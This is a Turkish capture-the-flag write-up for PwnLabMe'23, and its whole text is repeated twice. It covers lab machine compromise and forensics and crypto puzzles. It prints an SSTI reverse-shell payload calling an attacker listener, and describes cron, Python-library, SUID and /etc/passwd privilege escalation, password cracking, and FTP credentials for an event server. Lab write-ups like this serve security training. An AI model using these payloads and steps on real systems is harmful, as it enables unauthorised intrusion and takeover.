PwnLabMe’23 CTF | Write-Up
pwnlab.me
İlk olarak işe hedef makinemizin IP adresini bularak başlıyoruz.
Çıktıya göre IP adresimizi belirliyoruz.
Bulduğumuz IP Adresine Nmap Taraması yapıyoruz
Bu tarama sonrasında 22,80 ve 8089 portlarının açık olduğunu görüyoruz. Bizim için burada önemli olan port 8089 portu
8089 portu içerisinde bir Python serveri çalıştırıyor. Siteyi ziyaret ettiğimizde bizden bir adet input isteyen basit yapılandırılmış bir site görüyoruz
Python serveri olduğu için direkt olarak Python Flasktaki Jinja2 SSTI açığı aklıma geliyor ve input yerine ” {{7*7}} ” giriyorum.
Bu çıktı ile serverda bir SSTI açığı olduğunu anlıyorum ve direkt olarak aşşağıdaki komut ile reverse shell almayı deniyorum
Gerekli terminal işlemlerini yaptıktan sonra kararlı bir shell elde ediyorum ve sistemi manual olarak numaralandırıyorum elime bir şey geçmiyor ve cronjoblara bakmaya karar veriyorum bunun için pspy64’ü kali makinemi indirip hedef makineye aktarıyorum.
Pspy64’ü çalıştırdığımda karşıma yararlanabileceğim bir cronjob çıkıyor
Bu cronjob her dakikada bir kere kullanici ID si 1000 olan kullanıcı (isabella) tarafından çalıştırılıyo ve benim bu dosyaya yazma yetkim var bu dosyayı bir reverse shell ile değiştirirsek isabella bu dosyayı çalıştırdığında bize shell’i düşecektir.
bir listener kurup 6677 portunu dinlediğimizde isabella olarak shell alacağız
şimdi root olmak için tekrardan pspy64’ü kullanıyorum ve bu seferde farklı bir dosya dikkatimi çekiyor
bu dosya ise root tarafından dakikada bir kere çalıştırılan bir python dosyası fakat bu dosyada bizim geçenki partta olduğu gibi yazma iznimiz yok kodu biraz incelediğimde içeriğininde bana bir katkı sağlamayacağını anladım ve belki kütüphaneler yazılabilir kütüphanelerdir diye find komutunu kullandım
random kütüphanesi yazılabilir bir kütüphaneymiş bunu nano ile düzenleyip içerisine yazılabilecek bir python kodu ile root shell’i alabilirim
dosyayı kaydedip kapattıktan sonra /bin/bash’in suid bitinin değişmesini bekliyoruz. Bu program her dakikada bir çalışacak ve root yetkisiyle /bin/bash dosyasının SUID bitini aktif edecek.
şimdi yapılması gerekilen tek şey root shell’ini almak.
Makinemizin ipsini netdiscover ile bulduktan sonra bir nmap taraması yapıyoruz
nmap taramasının sonucunda 22,80 ve NFS servisinin (111,2049,40161,43300 etc.)açık olduğunu görüyoruz
nfs servisinde hangi dosyaların ve klasorun servis edildigini gormek icin
bunun anlamı hedef makinemizdeki /opt/rei klasörü içerisindeki her dosyayı kendi bilgisayarımıza aktarabilirizdir.
aktarma işlemini gerçekleştirelim
aktarma isleminden sonra id_rsa dosyası (kime ait olduğunu bilmediğimiz) ve bir not dosyası var notu okuduğunuzda mm adlı bir kullanıcının kullanıcı adı isminden farklıymış
bunu bulmak icin port 80’i araştırıyorum ve orada garip bir kullanıcı ile karşılaşıyorum
not dosyasında yazan mm’nin bu olabileceğini fakat marry username’i ile sisteme ssh ile giriş yapmayı denediğimde girmemesinden dolayı farklı bir kullanıcı adı olduğunu anlıyorum ve bunun icin bi username generator kullanıyorum.
çıkan kullanıcı isimleri ile bir password spraying saldırısı gerçekleştiriyorum ama gerçekleştirmeden önce id_rsa dosyası üzerinde tam yetkiye sahip olmak için onu kendi bilgisayarımda olan bir dizine aktarmak istiyorum ve sonrasında iznini değiştirme yetkisine sahip oluyorum ve ssh’a id_rsa kimliği ile login olmak için iznini değiştiriyorum.
şimdi sıra kullanıcı adını bulmada bunun için msfconsole da bir auxiliary modülünü kullanacağız.
gerekli ayarları yaptıktan sonra “run” yazarak taramayı başlatıyoruz ve kullanıcı adını başarıyla buluyoruz
Sisteme bu kullanıcı adı ve ilk başta bulduğumuz id_rsa dosyası ile giriş yapıyoruz
user flagini aldık sırada root flagini almak var bunun için basit şekilde ” sudo -l ” komutunu çalıştırıyoruz
root yetkisiyle terminator ve aynı sekilde root yetkisiyle xauth kullanmamıza izin verilmiş
bir shell içerisinde terminator çalıştırılmak istenirse ve eğer karşı makine bir GUI’a sahip değilse yapmamız gereken şey X11 Forwarding yapmak aksi takdirde ekran alamayız
ilk olarak m.may kullanıcısının terminator ekranını almaya çalışıyorum fakat alamıyorum çünki m.may kullanıcısı için halihazırda bir X11 Forwardingi yapılmamış
bunu yapmak için ssh komutuna basitçe -X parametresini ekliyorum
bu sekilde artık X11 Forwardingi gerçekleştirmiş olduk ve artık terminator ekranını m.may kullanıcısı için alabiliyorum
peki şimdi “sudo terminator” çalıştırırsam kabul edecek mi gene hayır
peki neden bu hatayı alıyoruz bunun sebebi bir kullanıcı iken başka bir kullanıcının (üst yetkide bir kullanıcının ) ekranını almak istiyorsak (terminator ile) bu durumda bir authentication sağlamamız gerekiyor bu authentication cookiler aracılığıyla yapılır ve bunu da ” xauth ” ile yapacağız
bu komut girildikten sonra artık kendi cookiemizi (m.may) root ekranı alabilmek için authenticate ettik. ve artık sadece “sudo terminator” ile root ekranını alabiliriz
netdiscover ile makinemizin IP sini buluyoruz buldugumuz IP adresine bir nmap taraması yapıyoruz
taramanın sonucuna göre 21 ve 80 portlarının açık olduğunu görüyoruz 21(ftp) anonymous olarak login olabiliyoruz ve içerisinde bulunan Impossible.pdf dosyasını lokal makinemize indiriyoruz.
İndirme işleminden sonra pdf’i açmak istediğimizde şifre ile korunduğunu fark ediyoruz. Bunu pdf2john programı ile john için uygun bir format haline dönüştürüp john ile bu hashi kırıyoruz artık şifre elimizde ve pdf’te ne olduğunu görebiliriz.
bir şifre bulduk ama kullanıcı adına sahip değiliz . Bunun için port 80’i enumerate ediyoruz ama hiç bir sonuç alamıyoruz sonrasında
udp portlarını nmap ile check ediyoruz
snmp portunun açık olduğunu görüyoruz. SNMP’yi enumerate ediyoruz ve bir ağ cihazının istatistiklerinin tutulduğu “Community Strings” için (yani bir ağ cihazı istatistiklerine erişim için kullanılan kullanıcı adı ve parola gibi) bruteforce gerçekleştiriyoruz bunun için onesixtyone aracını kullanacağız
bir tane “Community Strings” (cisco) elimize geçti ve bunu kullanarak farklı bilgiler edineceğiz
bu bölümde kullanıcı adı da (jonathanjacobo) elimize geçti artık sisteme giriş yapabiliriz ancak SSH portu (22) kapalı . Aslında kapalı değil ipv4 için kapalı ipv6’yı check ettiğimiz zaman SSH (22) portunun açık olduğunu görüyoruz
ipv6 adresimizi bulduktan sonra nmap taramasını gerçekleştirebiliriz.
ssh portu açık . Sisteme ipv6 ile giriş yapmamız gerekmekte.
jonathonjacobo kullanıcısından larsulrich kullanıcısına bir yetki yükseltme yapmak için ” sudo -l ” çalıştıyorum ve benden /tmp dizini altında belirli bir ismi olan jar dosyası çalıştırmamız bekleniyo burada java reverse shell kodu yazıp jar dosyasına dönüştürmemiz elbette beklenmiyor (İsteyenler yazıp dönüştürebilir
).
Hazır olarak Reverse_Shell.jar kullanacağız bu dosyayı indirip lokal makinemize kurduktan sonra artık hedef makinemize aktarabiliriz.
dosyamızın adı ve dizini larsulrich’in bize çalıştırmamız için yetki verdiği jar dosyasının ismiyle aynı olmalı aksi takdirde çalışmayacaktır. Kullandığımız jar dosyası bizden iki parametre isteyecektir bunlardan biri listener_ip diğer ise listener_port . Buraya lokal makinemizin IP adresini ve dinleyeceğimiz port numarasını yazacağız. Komutu Çalıştırmadan önce bir listener ile dinliyoruz
“nc -nvlp 443”
yazılan komut sonrasında larsulrich kullanısının shell’ini almayı başarıyoruz
makinede root olmak için ” sudo -l ” komutu çalıştırıyoruz ve wuzz komutunu root yetkisiyle çalıştırabildiğimi görüyoruz.
“sudo wuzz” yazdığımda bir hata alıyoruz
daha iyi ve daha kararlı bir shell almak için larsulrich olarak giriş yapmamız gerekiyor ama şifresini bilmiyoruz bunun için ana makinemizde ve hedef makinemizde şu işlemleri yapıyoruz
bu şekilde lokal makinemiz hedef makinemizin larsulrich kullanıcısı tarafından bilinen bir host olmuş oldu ve bu sayede artık hedef makineye şifresiz olarak giriş yapabileceğiz.
şimdi ” sudo wuzz ” komutunu çalıştırdığımızda
bunun bir GUI dosya indirme programı olduğunu anlıyoruz ve root yetkisiyle çalıştırabildiğimiz için /etc/passwd dosyasını değiştirme yetkisine de sahip oluyoruz
en başta hedef sistemin passwd dosyasını kopyalayıp lokal makinemize aktarıyoruz.
sonrasında lokalde olan passwd dosyasının root şifresini opensslden aldığımız şifre ile değiştiriyoruz
şifre olarak “pwnlab” verdik
değişiklikten sonra lokaldeki passwd dosyasını kaydedip kapatıyoruz. Şimdi bu dosyayı karşı makineye indirmek için bir python serveri kuruyoruz.
“python3 -m http.server 80″
hedef makinede tekrardan ” sudo wuzz ” çalıştırıyoruz ve URL kısmına “http://lokal_ip/passwd” yazdıktan sonra CTRL+s basıyoruz ve bu dosyayı /etc/passwd olarak hedef sisteme kaydediyoruz
tekrardan enter’a basıp kaydettikten sonra sadece
“su” yazıyoruz ve gelen şifre kısmına openssl de verdiğimiz şifreyi yani “pwnlab” ı giriyoruz.
Verilen Discord adresindeki #duyurular kanalına gidiyoruz. 10,20 mesaj üstte içerisinde Base64 ile şifrelenmiş bir metin var. Base64 olduğu bariz zaten.
Akabinde “https://www.base64decode.org/”dan decode ediyorum ve sunucu bilgisi ve 2 tane daha id-pass olabilecek kelimeler çıkıyor.
“159.89.8.112
cilgincocuk
erasmustangelenyamyam”
NMAP ile port taraması yapıyorum ve 21-22 portlarının açık olduğunu görüyorum.
ftp 159.89.8.112 yazıp akabinde sırasıyla “cilgincocuk” ve “erasmustangelenyamyam” kelimelerini id-pass olarak giriyorum ve bingo! İçerideyiz.
“ls” çekip dosyaları kontrol ediyorum ve public_html olduğu görülüyor. cd public_html ile dizinin içine giriyorum.
hackerokan4458.rar ve severim.txt beni karşılıyor. RAR dosyası şifreli fakat severim.txt beni We’ll Rock You müzik linkine yönlendiriyor. En büyük hint bu aslında, “rockyou.txt” olabileceğini öngörmüş oluyorum ve Github üzerinden wordlisti indiriyorum.
Sonrasında “get dosyaadi” komutuyla 2 dosyayı da makineye çekiyorum. Geriye Bruteforce yapmak kaldı.
johntheripper ve hashcat araçlarını bruteforce saldırısı yapmak için kullanacağım. Öncelikle rar dosyası olduğu için “rar2 john hackerokan4458.rar > hash.txt” komutuyla hashcat için lazım olan dosyayı alıyorum ve brute’a hazır hale getirmek için dosyanın başındaki “hackerokan4458.rar:” kelimesini siliyorum.
Geriye salt hashcat ile brute atmak kaldı. “hashcat -m 1300 -a 3 -i –increment-min=6 –increment-max=10 hash.txt rockyou.txt” ile saldırıyı başlatıyorum ve bingo! Şifremiz “backspacebackspace”. İlgili parametrelerin ne işe yaradığına hashcat –help komutuyla bakabilirsiniz.
RAR’ın içinde .raw uzantılı bir dosya çıktı, aklıma direkt “vovatility” aracı geliyor zira bu bir imaj dosyası. Vovatility, pythonla yazılan ve imaj dosyalarını incelemenize yarayan harikulade bir araç. Bana da kullanmayı öğreten Okan Kurtuluş hocama buradan selamlarımı iletiyorum
Dosyayı “unrar” aracıyla export edebilirsiniz. “unrar x hackerokan4458.rar”
Peki, soru benden fotoğrafın adını istiyorsa o zaman burada processlerden ziyade imajdaki dosya isimlerini incelemem daha mantıklı olur. Bunun için “python vol.py -f “dizin/PWNLAB-D864404D-20231221-174918.raw” windows.filescan” komutuyla inceleme yapıyorum. -f parametresi burada .raw dosyasının hangi dizinde olduğunu belirtmenize yarıyor. “windows.filescan” ise imajda yer alan tüm dosya adlarını inciğine cıncığına kadar çıktı olarak veriyor.
Aracı çalıştırdım ve dosya isimleri inceliyorum, karşıma .jpg uzantılı tek bir dosya adı çıktı.
0x5ef9598 \Documents and Settings\Administrator\Desktop\IMG_20210816_200359.jpg //
Ve flag değerimiz “IMG_20210816_200359.jpg” olarak çıkıyor.
Navajo Code İle Şifrelenmiştir
Decode Ettiğimiz Zaman Flag’a Ulaşıyoruz.
Flag: PwnlabMe{t3rihi_s3ver_mis3n}
Acere İle Kriptolanmış Müzik Notaları
Resimdeki Müzik Notaları Acere İle Kriptolanmıştı
Her Hangi Bir Acere Decoderda Bunları Görmektesiniz Ardından Sorudaki Notaları Girince Flagı Vermekte.
Flag: PwnlabMe{m3zige_ses_ver}
Resimi Aperi Solveye Atıyoruz, Resmin Renkleriyle Oynanmış Hallerinden Resimde Bir Hash Bulunmakta.
CyberChef’e Atıldıktan Sonra Yapıştırıyoruz Boşlukları Siliyoruz replace space to “a” yapıyoruz flag çıkıyor
PwnlabMe{s3n_n4rd5n_g6ld1in_b8ra9lara}
morse.waw uzantılı bir dosya verilmiş. Ses dosyası olduğu için “Morse voice decoder” diye Google taraması yapıyoruz ve Buraya
dosyayı yüklüyoruz ve flag “CUMHURIYETIMIZINYUZUNCUYILIKUTLUOLSUN” olarak çıkıyor ve sorumuz çözülmüş oluyor.
————————————————————————————————————————————————–
pwnlab.me
TEMPLE – REI – WHISPER MAKİNELERİ
Temple – Easy
İlk olarak işe hedef makinemizin IP adresini bularak başlıyoruz.
Çıktıya göre IP adresimizi belirliyoruz.
Bulduğumuz IP Adresine Nmap Taraması yapıyoruz
Bu tarama sonrasında 22,80 ve 8089 portlarının açık olduğunu görüyoruz. Bizim için burada önemli olan port 8089 portu
8089 portu içerisinde bir Python serveri çalıştırıyor. Siteyi ziyaret ettiğimizde bizden bir adet input isteyen basit yapılandırılmış bir site görüyoruz
Python serveri olduğu için direkt olarak Python Flasktaki Jinja2 SSTI açığı aklıma geliyor ve input yerine ” {{7*7}} ” giriyorum.
Bu çıktı ile serverda bir SSTI açığı olduğunu anlıyorum ve direkt olarak aşşağıdaki komut ile reverse shell almayı deniyorum
{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /bin/bash 192.168.0.25 5566').read()}}
Gerekli terminal işlemlerini yaptıktan sonra kararlı bir shell elde ediyorum ve sistemi manual olarak numaralandırıyorum elime bir şey geçmiyor ve cronjoblara bakmaya karar veriyorum bunun için pspy64’ü kali makinemi indirip hedef makineye aktarıyorum.
Pspy64’ü çalıştırdığımda karşıma yararlanabileceğim bir cronjob çıkıyor
Bu cronjob her dakikada bir kere kullanici ID si 1000 olan kullanıcı (isabella) tarafından çalıştırılıyo ve benim bu dosyaya yazma yetkim var bu dosyayı bir reverse shell ile değiştirirsek isabella bu dosyayı çalıştırdığında bize shell’i düşecektir.
bir listener kurup 6677 portunu dinlediğimizde isabella olarak shell alacağız
şimdi root olmak için tekrardan pspy64’ü kullanıyorum ve bu seferde farklı bir dosya dikkatimi çekiyor
bu dosya ise root tarafından dakikada bir kere çalıştırılan bir python dosyası fakat bu dosyada bizim geçenki partta olduğu gibi yazma iznimiz yok kodu biraz incelediğimde içeriğininde bana bir katkı sağlamayacağını anladım ve belki kütüphaneler yazılabilir kütüphanelerdir diye find komutunu kullandım
random kütüphanesi yazılabilir bir kütüphaneymiş bunu nano ile düzenleyip içerisine yazılabilecek bir python kodu ile root shell’i alabilirim
dosyayı kaydedip kapattıktan sonra /bin/bash’in suid bitinin değişmesini bekliyoruz. Bu program her dakikada bir çalışacak ve root yetkisiyle /bin/bash dosyasının SUID bitini aktif edecek.
şimdi yapılması gerekilen tek şey root shell’ini almak.
Rei – Medium
Makinemizin ipsini netdiscover ile bulduktan sonra bir nmap taraması yapıyoruz
nmap taramasının sonucunda 22,80 ve NFS servisinin (111,2049,40161,43300 etc.)açık olduğunu görüyoruz
nfs servisinde hangi dosyaların ve klasorun servis edildigini gormek icin
bunun anlamı hedef makinemizdeki /opt/rei klasörü içerisindeki her dosyayı kendi bilgisayarımıza aktarabilirizdir.
aktarma işlemini gerçekleştirelim
aktarma isleminden sonra id_rsa dosyası (kime ait olduğunu bilmediğimiz) ve bir not dosyası var notu okuduğunuzda mm adlı bir kullanıcının kullanıcı adı isminden farklıymış
bunu bulmak icin port 80’i araştırıyorum ve orada garip bir kullanıcı ile karşılaşıyorum
not dosyasında yazan mm’nin bu olabileceğini fakat marry username’i ile sisteme ssh ile giriş yapmayı denediğimde girmemesinden dolayı farklı bir kullanıcı adı olduğunu anlıyorum ve bunun icin bi username generator kullanıyorum.
çıkan kullanıcı isimleri ile bir password spraying saldırısı gerçekleştiriyorum ama gerçekleştirmeden önce id_rsa dosyası üzerinde tam yetkiye sahip olmak için onu kendi bilgisayarımda olan bir dizine aktarmak istiyorum ve sonrasında iznini değiştirme yetkisine sahip oluyorum ve ssh’a id_rsa kimliği ile login olmak için iznini değiştiriyorum.
şimdi sıra kullanıcı adını bulmada bunun için msfconsole da bir auxiliary modülünü kullanacağız.
gerekli ayarları yaptıktan sonra “run” yazarak taramayı başlatıyoruz ve kullanıcı adını başarıyla buluyoruz
Sisteme bu kullanıcı adı ve ilk başta bulduğumuz id_rsa dosyası ile giriş yapıyoruz
user flagini aldık sırada root flagini almak var bunun için basit şekilde ” sudo -l ” komutunu çalıştırıyoruz
root yetkisiyle terminator ve aynı sekilde root yetkisiyle xauth kullanmamıza izin verilmiş
bir shell içerisinde terminator çalıştırılmak istenirse ve eğer karşı makine bir GUI’a sahip değilse yapmamız gereken şey X11 Forwarding yapmak aksi takdirde ekran alamayız
ilk olarak m.may kullanıcısının terminator ekranını almaya çalışıyorum fakat alamıyorum çünki m.may kullanıcısı için halihazırda bir X11 Forwardingi yapılmamış
bunu yapmak için ssh komutuna basitçe -X parametresini ekliyorum
bu sekilde artık X11 Forwardingi gerçekleştirmiş olduk ve artık terminator ekranını m.may kullanıcısı için alabiliyorum
peki şimdi “sudo terminator” çalıştırırsam kabul edecek mi gene hayır
peki neden bu hatayı alıyoruz bunun sebebi bir kullanıcı iken başka bir kullanıcının (üst yetkide bir kullanıcının ) ekranını almak istiyorsak (terminator ile) bu durumda bir authentication sağlamamız gerekiyor bu authentication cookiler aracılığıyla yapılır ve bunu da ” xauth ” ile yapacağız
bu komut girildikten sonra artık kendi cookiemizi (m.may) root ekranı alabilmek için authenticate ettik. ve artık sadece “sudo terminator” ile root ekranını alabiliriz
Whisper – Hard
netdiscover ile makinemizin IP sini buluyoruz buldugumuz IP adresine bir nmap taraması yapıyoruz
taramanın sonucuna göre 21 ve 80 portlarının açık olduğunu görüyoruz 21(ftp) anonymous olarak login olabiliyoruz ve içerisinde bulunan Impossible.pdf dosyasını lokal makinemize indiriyoruz.
İndirme işleminden sonra pdf’i açmak istediğimizde şifre ile korunduğunu fark ediyoruz. Bunu pdf2john programı ile john için uygun bir format haline dönüştürüp john ile bu hashi kırıyoruz artık şifre elimizde ve pdf’te ne olduğunu görebiliriz.
bir şifre bulduk ama kullanıcı adına sahip değiliz . Bunun için port 80’i enumerate ediyoruz ama hiç bir sonuç alamıyoruz sonrasında
udp portlarını nmap ile check ediyoruz
snmp portunun açık olduğunu görüyoruz. SNMP’yi enumerate ediyoruz ve bir ağ cihazının istatistiklerinin tutulduğu “Community Strings” için (yani bir ağ cihazı istatistiklerine erişim için kullanılan kullanıcı adı ve parola gibi) bruteforce gerçekleştiriyoruz bunun için onesixtyone aracını kullanacağız
bir tane “Community Strings” (cisco) elimize geçti ve bunu kullanarak farklı bilgiler edineceğiz
bu bölümde kullanıcı adı da (jonathanjacobo) elimize geçti artık sisteme giriş yapabiliriz ancak SSH portu (22) kapalı . Aslında kapalı değil ipv4 için kapalı ipv6’yı check ettiğimiz zaman SSH (22) portunun açık olduğunu görüyoruz
ipv6 adresimizi bulduktan sonra nmap taramasını gerçekleştirebiliriz.
ssh portu açık . Sisteme ipv6 ile giriş yapmamız gerekmekte.
jonathonjacobo kullanıcısından larsulrich kullanıcısına bir yetki yükseltme yapmak için ” sudo -l ” çalıştıyorum ve benden /tmp dizini altında belirli bir ismi olan jar dosyası çalıştırmamız bekleniyo burada java reverse shell kodu yazıp jar dosyasına dönüştürmemiz elbette beklenmiyor (İsteyenler yazıp dönüştürebilir
Hazır olarak Reverse_Shell.jar kullanacağız bu dosyayı indirip lokal makinemize kurduktan sonra artık hedef makinemize aktarabiliriz.
dosyamızın adı ve dizini larsulrich’in bize çalıştırmamız için yetki verdiği jar dosyasının ismiyle aynı olmalı aksi takdirde çalışmayacaktır. Kullandığımız jar dosyası bizden iki parametre isteyecektir bunlardan biri listener_ip diğer ise listener_port . Buraya lokal makinemizin IP adresini ve dinleyeceğimiz port numarasını yazacağız. Komutu Çalıştırmadan önce bir listener ile dinliyoruz
“nc -nvlp 443”
yazılan komut sonrasında larsulrich kullanısının shell’ini almayı başarıyoruz
makinede root olmak için ” sudo -l ” komutu çalıştırıyoruz ve wuzz komutunu root yetkisiyle çalıştırabildiğimi görüyoruz.
“sudo wuzz” yazdığımda bir hata alıyoruz
daha iyi ve daha kararlı bir shell almak için larsulrich olarak giriş yapmamız gerekiyor ama şifresini bilmiyoruz bunun için ana makinemizde ve hedef makinemizde şu işlemleri yapıyoruz
bu şekilde lokal makinemiz hedef makinemizin larsulrich kullanıcısı tarafından bilinen bir host olmuş oldu ve bu sayede artık hedef makineye şifresiz olarak giriş yapabileceğiz.
şimdi ” sudo wuzz ” komutunu çalıştırdığımızda
bunun bir GUI dosya indirme programı olduğunu anlıyoruz ve root yetkisiyle çalıştırabildiğimiz için /etc/passwd dosyasını değiştirme yetkisine de sahip oluyoruz
en başta hedef sistemin passwd dosyasını kopyalayıp lokal makinemize aktarıyoruz.
sonrasında lokalde olan passwd dosyasının root şifresini opensslden aldığımız şifre ile değiştiriyoruz
şifre olarak “pwnlab” verdik
değişiklikten sonra lokaldeki passwd dosyasını kaydedip kapatıyoruz. Şimdi bu dosyayı karşı makineye indirmek için bir python serveri kuruyoruz.
“python3 -m http.server 80″
hedef makinede tekrardan ” sudo wuzz ” çalıştırıyoruz ve URL kısmına “http://lokal_ip/passwd” yazdıktan sonra CTRL+s basıyoruz ve bu dosyayı /etc/passwd olarak hedef sisteme kaydediyoruz
tekrardan enter’a basıp kaydettikten sonra sadece
“su” yazıyoruz ve gelen şifre kısmına openssl de verdiğimiz şifreyi yani “pwnlab” ı giriyoruz.
FOTOĞRAF
Verilen Discord adresindeki #duyurular kanalına gidiyoruz. 10,20 mesaj üstte içerisinde Base64 ile şifrelenmiş bir metin var. Base64 olduğu bariz zaten.
Akabinde “https://www.base64decode.org/”dan decode ediyorum ve sunucu bilgisi ve 2 tane daha id-pass olabilecek kelimeler çıkıyor.
“159.89.8.112
cilgincocuk
erasmustangelenyamyam”
NMAP ile port taraması yapıyorum ve 21-22 portlarının açık olduğunu görüyorum.
ftp 159.89.8.112 yazıp akabinde sırasıyla “cilgincocuk” ve “erasmustangelenyamyam” kelimelerini id-pass olarak giriyorum ve bingo! İçerideyiz.
“ls” çekip dosyaları kontrol ediyorum ve public_html olduğu görülüyor. cd public_html ile dizinin içine giriyorum.
hackerokan4458.rar ve severim.txt beni karşılıyor. RAR dosyası şifreli fakat severim.txt beni We’ll Rock You müzik linkine yönlendiriyor. En büyük hint bu aslında, “rockyou.txt” olabileceğini öngörmüş oluyorum ve Github üzerinden wordlisti indiriyorum.
Sonrasında “get dosyaadi” komutuyla 2 dosyayı da makineye çekiyorum. Geriye Bruteforce yapmak kaldı.
johntheripper ve hashcat araçlarını bruteforce saldırısı yapmak için kullanacağım. Öncelikle rar dosyası olduğu için “rar2 john hackerokan4458.rar > hash.txt” komutuyla hashcat için lazım olan dosyayı alıyorum ve brute’a hazır hale getirmek için dosyanın başındaki “hackerokan4458.rar:” kelimesini siliyorum.
Geriye salt hashcat ile brute atmak kaldı. “hashcat -m 1300 -a 3 -i –increment-min=6 –increment-max=10 hash.txt rockyou.txt” ile saldırıyı başlatıyorum ve bingo! Şifremiz “backspacebackspace”. İlgili parametrelerin ne işe yaradığına hashcat –help komutuyla bakabilirsiniz.
RAR’ın içinde .raw uzantılı bir dosya çıktı, aklıma direkt “vovatility” aracı geliyor zira bu bir imaj dosyası. Vovatility, pythonla yazılan ve imaj dosyalarını incelemenize yarayan harikulade bir araç. Bana da kullanmayı öğreten Okan Kurtuluş hocama buradan selamlarımı iletiyorum
Peki, soru benden fotoğrafın adını istiyorsa o zaman burada processlerden ziyade imajdaki dosya isimlerini incelemem daha mantıklı olur. Bunun için “python vol.py -f “dizin/PWNLAB-D864404D-20231221-174918.raw” windows.filescan” komutuyla inceleme yapıyorum. -f parametresi burada .raw dosyasının hangi dizinde olduğunu belirtmenize yarıyor. “windows.filescan” ise imajda yer alan tüm dosya adlarını inciğine cıncığına kadar çıktı olarak veriyor.
Aracı çalıştırdım ve dosya isimleri inceliyorum, karşıma .jpg uzantılı tek bir dosya adı çıktı.
0x5ef9598 \Documents and Settings\Administrator\Desktop\IMG_20210816_200359.jpg //
Ve flag değerimiz “IMG_20210816_200359.jpg” olarak çıkıyor.
ÇOK KARIŞIK
Navajo Code İle Şifrelenmiştir
Decode Ettiğimiz Zaman Flag’a Ulaşıyoruz.
Flag: PwnlabMe{t3rihi_s3ver_mis3n}
BOZKIRIN TEZENESİ
Acere İle Kriptolanmış Müzik Notaları
Resimdeki Müzik Notaları Acere İle Kriptolanmıştı
Her Hangi Bir Acere Decoderda Bunları Görmektesiniz Ardından Sorudaki Notaları Girince Flagı Vermekte.
Flag: PwnlabMe{m3zige_ses_ver}
k3di
Resimi Aperi Solveye Atıyoruz, Resmin Renkleriyle Oynanmış Hallerinden Resimde Bir Hash Bulunmakta.
CyberChef’e Atıldıktan Sonra Yapıştırıyoruz Boşlukları Siliyoruz replace space to “a” yapıyoruz flag çıkıyor
PwnlabMe{s3n_n4rd5n_g6ld1in_b8ra9lara}
ÇANÇİNCON
morse.waw uzantılı bir dosya verilmiş. Ses dosyası olduğu için “Morse voice decoder” diye Google taraması yapıyoruz ve Buraya
dosyayı yüklüyoruz ve flag “CUMHURIYETIMIZINYUZUNCUYILIKUTLUOLSUN” olarak çıkıyor ve sorumuz çözülmüş oluyor.
————————————————————————————————————————————————–